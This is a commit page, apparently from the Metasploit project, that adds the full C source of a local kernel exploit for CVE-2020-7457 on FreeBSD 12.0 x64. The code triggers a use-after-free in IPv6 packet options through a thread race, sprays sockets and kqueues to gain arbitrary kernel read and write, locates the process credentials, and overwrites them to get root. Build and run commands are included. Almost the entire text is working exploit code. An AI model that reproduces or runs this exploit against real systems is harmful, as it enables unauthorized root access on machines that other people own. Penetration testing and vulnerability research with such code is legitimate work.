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https://github.com/rapid7/metasploit-framework
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Add CVE-2020-7457 exploit.c
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data/exploits/CVE-2020-7457/exploit.c
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611
data/exploits/CVE-2020-7457/exploit.c
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/*
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FreeBSD 12.0-RELEASE x64 Kernel Exploit
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Usage:
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$ clang -o exploit exploit.c -lpthread
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$ ./exploit
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*/
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// msf note: written by theflow0: https://hackerone.com/reports/826026
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#include <errno.h>
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#include <fcntl.h>
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#include <stdio.h>
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#include <string.h>
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#include <stddef.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <pthread.h>
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#define _KERNEL
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#include <sys/event.h>
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#undef _KERNEL
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#define _WANT_FILE
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#include <sys/file.h>
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#include <sys/filedesc.h>
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#include <sys/param.h>
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#include <sys/proc.h>
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#include <sys/socket.h>
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#define _WANT_SOCKET
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#include <sys/socketvar.h>
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#include <netinet/in.h>
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#define _WANT_INPCB
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#include <netinet/in_pcb.h>
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#include <netinet/ip6.h>
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#include <netinet6/ip6_var.h>
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// #define FBSD12
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#define ELF_MAGIC 0x464c457f
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#define IPV6_2292PKTINFO 19
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#define IPV6_2292PKTOPTIONS 25
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#define TCLASS_MASTER 0x13370000
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#define TCLASS_SPRAY 0x41
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#define TCLASS_TAINT 0x42
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#define NUM_SPRAY_RACE 0x20
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#define NUM_SPRAY 0x100
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#define NUM_KQUEUES 0x100
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#ifdef FBSD12
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#define ALLPROC_OFFSET 0x1df3c38
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#else
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#define ALLPROC_OFFSET 0xf01e40
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#endif
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#define PKTOPTS_PKTINFO_OFFSET (offsetof(struct ip6_pktopts, ip6po_pktinfo))
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#define PKTOPTS_RTHDR_OFFSET (offsetof(struct ip6_pktopts, ip6po_rhinfo.ip6po_rhi_rthdr))
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#define PKTOPTS_TCLASS_OFFSET (offsetof(struct ip6_pktopts, ip6po_tclass))
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#define PROC_LIST_OFFSET (offsetof(struct proc, p_list))
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#define PROC_UCRED_OFFSET (offsetof(struct proc, p_ucred))
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#define PROC_FD_OFFSET (offsetof(struct proc, p_fd))
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#define PROC_PID_OFFSET (offsetof(struct proc, p_pid))
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#ifdef FBSD12
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#define FILEDESC_FILES_OFFSET (offsetof(struct filedesc, fd_files))
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#define FILEDESCENTTBL_OFILES_OFFSET (offsetof(struct fdescenttbl, fdt_ofiles))
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#define FILEDESCENTTBL_NFILES_OFFSET (offsetof(struct fdescenttbl, fdt_nfiles))
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#define FILEDESCENT_FILE_OFFSET (offsetof(struct filedescent, fde_file))
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#define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
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#define FILE_DATA_OFFSET (offsetof(struct file, f_data))
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#else
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#define FILEDESC_OFILES_OFFSET (offsetof(struct filedesc, fd_ofiles))
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#define FILEDESC_NFILES_OFFSET (offsetof(struct filedesc, fd_nfiles))
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#define FILE_TYPE_OFFSET (offsetof(struct file, f_type))
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#define FILE_DATA_OFFSET (offsetof(struct file, f_data))
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#endif
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#define KNOTE_FOP_OFFSET (offsetof(struct knote, kn_fop))
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#define FILTEROPS_DETACH_OFFSET (offsetof(struct filterops, f_detach))
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#define SOCKET_PCB_OFFSET (offsetof(struct socket, so_pcb))
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#define INPCB_OUTPUTOPTS_OFFSET (offsetof(struct inpcb, in6p_outputopts))
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int kqueue(void);
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int kevent(int kq, const struct kevent *changelist, int nchanges,
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struct kevent *eventlist, int nevents,
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const struct timespec *timeout);
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static uint64_t kernel_base;
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static uint64_t p_ucred, p_fd;
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static uint64_t kevent_addr, pktopts_addr;
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static int triggered = 0;
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static int kevent_sock, master_sock, overlap_sock, victim_sock;
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static int spray_sock[NUM_SPRAY];
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static int kq[NUM_KQUEUES];
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static void hexDump(const void *data, size_t size) {
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size_t i;
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for(i = 0; i < size; i++) {
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printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
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}
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printf("\n");
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}
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static int new_socket(void) {
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return socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
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}
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static void build_tclass_cmsg(char *buf, int val) {
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struct cmsghdr *cmsg;
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cmsg = (struct cmsghdr *)buf;
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cmsg->cmsg_len = CMSG_LEN(sizeof(int));
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cmsg->cmsg_level = IPPROTO_IPV6;
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cmsg->cmsg_type = IPV6_TCLASS;
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*(int *)CMSG_DATA(cmsg) = val;
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}
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static int build_rthdr_msg(char *buf, int size) {
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struct ip6_rthdr *rthdr;
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int len;
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len = ((size >> 3) - 1) & ~1;
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size = (len + 1) << 3;
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memset(buf, 0, size);
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rthdr = (struct ip6_rthdr *)buf;
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rthdr->ip6r_nxt = 0;
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rthdr->ip6r_len = len;
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rthdr->ip6r_type = IPV6_RTHDR_TYPE_0;
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rthdr->ip6r_segleft = rthdr->ip6r_len >> 1;
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return size;
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}
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static int get_rthdr(int s, char *buf, socklen_t len) {
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return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, &len);
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}
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static int set_rthdr(int s, char *buf, socklen_t len) {
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return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len);
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}
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static int free_rthdr(int s) {
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return set_rthdr(s, NULL, 0);
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}
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static int get_tclass(int s) {
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int val;
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socklen_t len = sizeof(val);
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getsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, &len);
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return val;
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}
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static int set_tclass(int s, int val) {
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return setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, sizeof(val));
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}
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static int get_pktinfo(int s, char *buf) {
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socklen_t len = sizeof(struct in6_pktinfo);
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return getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, &len);
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}
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static int set_pktinfo(int s, char *buf) {
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return setsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, sizeof(struct in6_pktinfo));
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}
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static int set_pktopts(int s, char *buf, socklen_t len) {
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return setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, len);
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}
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static int free_pktopts(int s) {
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return set_pktopts(s, NULL, 0);
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}
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static uint64_t leak_rthdr_ptr(int s) {
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char buf[0x100];
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get_rthdr(s, buf, sizeof(buf));
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return *(uint64_t *)(buf + PKTOPTS_RTHDR_OFFSET);
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}
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static uint64_t leak_kmalloc(char *buf, int size) {
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int rthdr_len = build_rthdr_msg(buf, size);
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set_rthdr(master_sock, buf, rthdr_len);
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#ifdef FBSD12
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get_rthdr(master_sock, buf, rthdr_len);
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return *(uint64_t *)(buf + 0x00);
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#else
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return leak_rthdr_ptr(overlap_sock);
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#endif
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}
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static void write_to_victim(uint64_t addr) {
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char buf[sizeof(struct in6_pktinfo)];
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*(uint64_t *)(buf + 0x00) = addr;
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*(uint64_t *)(buf + 0x08) = 0;
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*(uint32_t *)(buf + 0x10) = 0;
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set_pktinfo(master_sock, buf);
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}
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static int find_victim_sock(void) {
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char buf[sizeof(struct in6_pktinfo)];
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write_to_victim(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);
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for (int i = 0; i < NUM_SPRAY; i++) {
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get_pktinfo(spray_sock[i], buf);
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if (*(uint64_t *)(buf + 0x00) != 0)
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return i;
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}
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return -1;
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}
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static uint8_t kread8(uint64_t addr) {
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char buf[sizeof(struct in6_pktinfo)];
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write_to_victim(addr);
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get_pktinfo(victim_sock, buf);
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return *(uint8_t *)buf;
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}
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static uint16_t kread16(uint64_t addr) {
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char buf[sizeof(struct in6_pktinfo)];
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write_to_victim(addr);
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get_pktinfo(victim_sock, buf);
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return *(uint16_t *)buf;
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}
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static uint32_t kread32(uint64_t addr) {
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char buf[sizeof(struct in6_pktinfo)];
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write_to_victim(addr);
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get_pktinfo(victim_sock, buf);
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return *(uint32_t *)buf;
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}
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static uint64_t kread64(uint64_t addr) {
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char buf[sizeof(struct in6_pktinfo)];
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write_to_victim(addr);
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get_pktinfo(victim_sock, buf);
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return *(uint64_t *)buf;
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}
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static void kread(void *dst, uint64_t src, size_t len) {
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for (int i = 0; i < len; i++)
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((uint8_t *)dst)[i] = kread8(src + i);
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}
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static void kwrite64(uint64_t addr, uint64_t val) {
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int fd = open("/dev/kmem", O_RDWR);
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if (fd >= 0) {
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lseek(fd, addr, SEEK_SET);
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write(fd, &val, sizeof(val));
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close(fd);
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}
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}
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static int kwrite(uint64_t addr, void *buf) {
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write_to_victim(addr);
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return set_pktinfo(victim_sock, buf);
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}
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static uint64_t find_kernel_base(uint64_t addr) {
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addr &= ~(PAGE_SIZE - 1);
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while (kread32(addr) != ELF_MAGIC)
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addr -= PAGE_SIZE;
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return addr;
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}
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static int find_proc_cred_and_fd(pid_t pid) {
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uint64_t proc = kread64(kernel_base + ALLPROC_OFFSET);
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while (proc) {
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if (kread32(proc + PROC_PID_OFFSET) == pid) {
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p_ucred = kread64(proc + PROC_UCRED_OFFSET);
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p_fd = kread64(proc + PROC_FD_OFFSET);
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printf("[+] p_ucred: 0x%lx\n", p_ucred);
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printf("[+] p_fd: 0x%lx\n", p_fd);
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return 0;
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}
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proc = kread64(proc + PROC_LIST_OFFSET);
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}
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return -1;
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}
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#ifdef FBSD12
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static uint64_t find_socket_data(int s) {
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uint64_t files, ofiles, fp;
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int nfiles;
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short type;
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files = kread64(p_fd + FILEDESC_FILES_OFFSET);
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if (!files)
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return 0;
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ofiles = files + FILEDESCENTTBL_OFILES_OFFSET;
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nfiles = kread32(files + FILEDESCENTTBL_NFILES_OFFSET);
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if (s < 0 || s >= nfiles)
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return 0;
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fp = kread64(ofiles + s * sizeof(struct filedescent) + FILEDESCENT_FILE_OFFSET);
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if (!fp)
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return 0;
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type = kread16(fp + FILE_TYPE_OFFSET);
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if (type != DTYPE_SOCKET)
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return 0;
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return kread64(fp + FILE_DATA_OFFSET);
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}
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#else
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static uint64_t find_socket_data(int s) {
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uint64_t ofiles, fp;
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int nfiles;
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short type;
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ofiles = kread64(p_fd + FILEDESC_OFILES_OFFSET);
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if (!ofiles)
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return 0;
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nfiles = kread32(p_fd + FILEDESC_NFILES_OFFSET);
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if (s < 0 || s >= nfiles)
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return 0;
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fp = kread64(ofiles + s * sizeof(struct file *));
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if (!fp)
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return 0;
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type = kread16(fp + FILE_TYPE_OFFSET);
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if (type != DTYPE_SOCKET)
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return 0;
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return kread64(fp + FILE_DATA_OFFSET);
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}
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#endif
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static uint64_t find_socket_pcb(int s) {
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uint64_t f_data;
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f_data = find_socket_data(s);
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if (!f_data)
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return 0;
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return kread64(f_data + SOCKET_PCB_OFFSET);
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}
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static uint64_t find_socket_pktopts(int s) {
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uint64_t in6p;
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in6p = find_socket_pcb(s);
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if (!in6p)
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return 0;
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return kread64(in6p + INPCB_OUTPUTOPTS_OFFSET);
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}
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static void cleanup(void) {
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uint64_t master_pktopts, overlap_pktopts, victim_pktopts;
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master_pktopts = find_socket_pktopts(master_sock);
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overlap_pktopts = find_socket_pktopts(overlap_sock);
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victim_pktopts = find_socket_pktopts(victim_sock);
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kwrite64(master_pktopts + PKTOPTS_PKTINFO_OFFSET, 0);
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kwrite64(overlap_pktopts + PKTOPTS_RTHDR_OFFSET, 0);
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kwrite64(victim_pktopts + PKTOPTS_PKTINFO_OFFSET, 0);
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}
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static void escalate_privileges(void) {
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char buf[sizeof(struct in6_pktinfo)];
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*(uint32_t *)(buf + 0x00) = 0; // cr_uid
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*(uint32_t *)(buf + 0x04) = 0; // cr_ruid
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*(uint32_t *)(buf + 0x08) = 0; // cr_svuid
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*(uint32_t *)(buf + 0x0c) = 1; // cr_ngroups
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*(uint32_t *)(buf + 0x10) = 0; // cr_rgid
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kwrite(p_ucred + 4, buf);
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}
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static int find_overlap_sock(void) {
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set_tclass(master_sock, TCLASS_TAINT);
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for (int i = 0; i < NUM_SPRAY; i++) {
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if (get_tclass(spray_sock[i]) == TCLASS_TAINT)
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return i;
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}
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return -1;
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}
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static int spray_pktopts(void) {
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for (int i = 0; i < NUM_SPRAY_RACE; i++)
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set_tclass(spray_sock[i], TCLASS_SPRAY);
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if (get_tclass(master_sock) == TCLASS_SPRAY)
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return 1;
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for (int i = 0; i < NUM_SPRAY_RACE; i++)
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free_pktopts(spray_sock[i]);
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return 0;
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}
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static void *use_thread(void *arg) {
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char buf[CMSG_SPACE(sizeof(int))];
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build_tclass_cmsg(buf, 0);
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while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) {
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set_pktopts(master_sock, buf, sizeof(buf));
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#ifdef FBSD12
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usleep(100);
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#endif
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}
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triggered = 1;
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return NULL;
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}
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static void *free_thread(void *arg) {
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while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) {
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free_pktopts(master_sock);
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#ifdef FBSD12
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if (spray_pktopts())
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break;
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#endif
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usleep(100);
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}
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triggered = 1;
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return NULL;
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}
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static int trigger_uaf(void) {
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pthread_t th[2];
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pthread_create(&th[0], NULL, use_thread, NULL);
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pthread_create(&th[1], NULL, free_thread, NULL);
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while (1) {
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if (spray_pktopts())
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break;
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#ifndef FBSD12
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usleep(100);
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#endif
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}
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triggered = 1;
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||||
pthread_join(th[0], NULL);
|
||||
pthread_join(th[1], NULL);
|
||||
|
||||
return find_overlap_sock();
|
||||
}
|
||||
|
||||
static int fake_pktopts(uint64_t pktinfo) {
|
||||
char buf[0x100];
|
||||
int rthdr_len, tclass;
|
||||
|
||||
// Free master_sock's pktopts
|
||||
free_pktopts(overlap_sock);
|
||||
|
||||
// Spray rthdr's to refill master_sock's pktopts
|
||||
rthdr_len = build_rthdr_msg(buf, 0x100);
|
||||
for (int i = 0; i < NUM_SPRAY; i++) {
|
||||
*(uint64_t *)(buf + PKTOPTS_PKTINFO_OFFSET) = pktinfo;
|
||||
*(uint32_t *)(buf + PKTOPTS_TCLASS_OFFSET) = TCLASS_MASTER | i;
|
||||
set_rthdr(spray_sock[i], buf, rthdr_len);
|
||||
}
|
||||
|
||||
tclass = get_tclass(master_sock);
|
||||
|
||||
// See if pktopts has been refilled correctly
|
||||
if ((tclass & 0xffff0000) != TCLASS_MASTER) {
|
||||
printf("[-] Error could not refill pktopts.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
return tclass & 0xffff;
|
||||
}
|
||||
|
||||
static void leak_kevent_pktopts(void) {
|
||||
char buf[0x800];
|
||||
|
||||
struct kevent kv;
|
||||
EV_SET(&kv, kevent_sock, EVFILT_READ, EV_ADD, 0, 5, NULL);
|
||||
|
||||
// Free pktopts
|
||||
for (int i = 0; i < NUM_SPRAY; i++)
|
||||
free_pktopts(spray_sock[i]);
|
||||
|
||||
// Leak 0x800 kmalloc addr
|
||||
kevent_addr = leak_kmalloc(buf, 0x800);
|
||||
printf("[+] kevent_addr: 0x%lx\n", kevent_addr);
|
||||
|
||||
// Free rthdr buffer and spray kevents to occupy this location
|
||||
free_rthdr(master_sock);
|
||||
for (int i = 0; i < NUM_KQUEUES; i++)
|
||||
kevent(kq[i], &kv, 1, 0, 0, 0);
|
||||
|
||||
// Leak 0x100 kmalloc addr
|
||||
pktopts_addr = leak_kmalloc(buf, 0x100);
|
||||
printf("[+] pktopts_addr: 0x%lx\n", pktopts_addr);
|
||||
|
||||
// Free rthdr buffer and spray pktopts to occupy this location
|
||||
free_rthdr(master_sock);
|
||||
for (int i = 0; i < NUM_SPRAY; i++)
|
||||
set_tclass(spray_sock[i], 0);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
uint64_t knote, kn_fop, f_detach;
|
||||
int idx;
|
||||
|
||||
printf("[*] Initializing sockets...\n");
|
||||
|
||||
kevent_sock = new_socket();
|
||||
master_sock = new_socket();
|
||||
|
||||
for (int i = 0; i < NUM_SPRAY; i++)
|
||||
spray_sock[i] = new_socket();
|
||||
|
||||
for (int i = 0; i < NUM_KQUEUES; i++)
|
||||
kq[i] = kqueue();
|
||||
|
||||
printf("[*] Triggering UAF...\n");
|
||||
idx = trigger_uaf();
|
||||
if (idx == -1) {
|
||||
printf("[-] Error could not find overlap sock.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// master_sock and overlap_sock point to the same pktopts
|
||||
overlap_sock = spray_sock[idx];
|
||||
spray_sock[idx] = new_socket();
|
||||
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
|
||||
|
||||
// Reallocate pktopts
|
||||
for (int i = 0; i < NUM_SPRAY; i++) {
|
||||
free_pktopts(spray_sock[i]);
|
||||
set_tclass(spray_sock[i], 0);
|
||||
}
|
||||
|
||||
// Fake master pktopts
|
||||
idx = fake_pktopts(0);
|
||||
overlap_sock = spray_sock[idx];
|
||||
spray_sock[idx] = new_socket(); // use new socket so logic in spraying will be easier
|
||||
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
|
||||
|
||||
// Leak address of some kevent and pktopts
|
||||
leak_kevent_pktopts();
|
||||
|
||||
// Fake master pktopts
|
||||
idx = fake_pktopts(pktopts_addr + PKTOPTS_PKTINFO_OFFSET);
|
||||
overlap_sock = spray_sock[idx];
|
||||
printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx);
|
||||
|
||||
idx = find_victim_sock();
|
||||
if (idx == -1) {
|
||||
printf("[-] Error could not find victim sock.\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
victim_sock = spray_sock[idx];
|
||||
printf("[+] Victim socket: %x (%x)\n", victim_sock, idx);
|
||||
|
||||
printf("[+] Arbitrary R/W achieved.\n");
|
||||
|
||||
knote = kread64(kevent_addr + kevent_sock * sizeof(uintptr_t));
|
||||
kn_fop = kread64(knote + KNOTE_FOP_OFFSET);
|
||||
f_detach = kread64(kn_fop + FILTEROPS_DETACH_OFFSET);
|
||||
|
||||
printf("[+] knote: 0x%lx\n", knote);
|
||||
printf("[+] kn_fop: 0x%lx\n", kn_fop);
|
||||
printf("[+] f_detach: 0x%lx\n", f_detach);
|
||||
|
||||
printf("[+] Finding kernel base...\n");
|
||||
kernel_base = find_kernel_base(f_detach);
|
||||
printf("[+] Kernel base: 0x%lx\n", kernel_base);
|
||||
|
||||
printf("[+] Finding process cred and fd...\n");
|
||||
find_proc_cred_and_fd(getpid());
|
||||
|
||||
printf("[*] Escalating privileges...\n");
|
||||
escalate_privileges();
|
||||
|
||||
printf("[*] Cleaning up...\n");
|
||||
cleanup();
|
||||
|
||||
printf("[+] Done.\n");
|
||||
|
||||
return 0;
|
||||
}
|
Loading…
Reference in New Issue
Block a user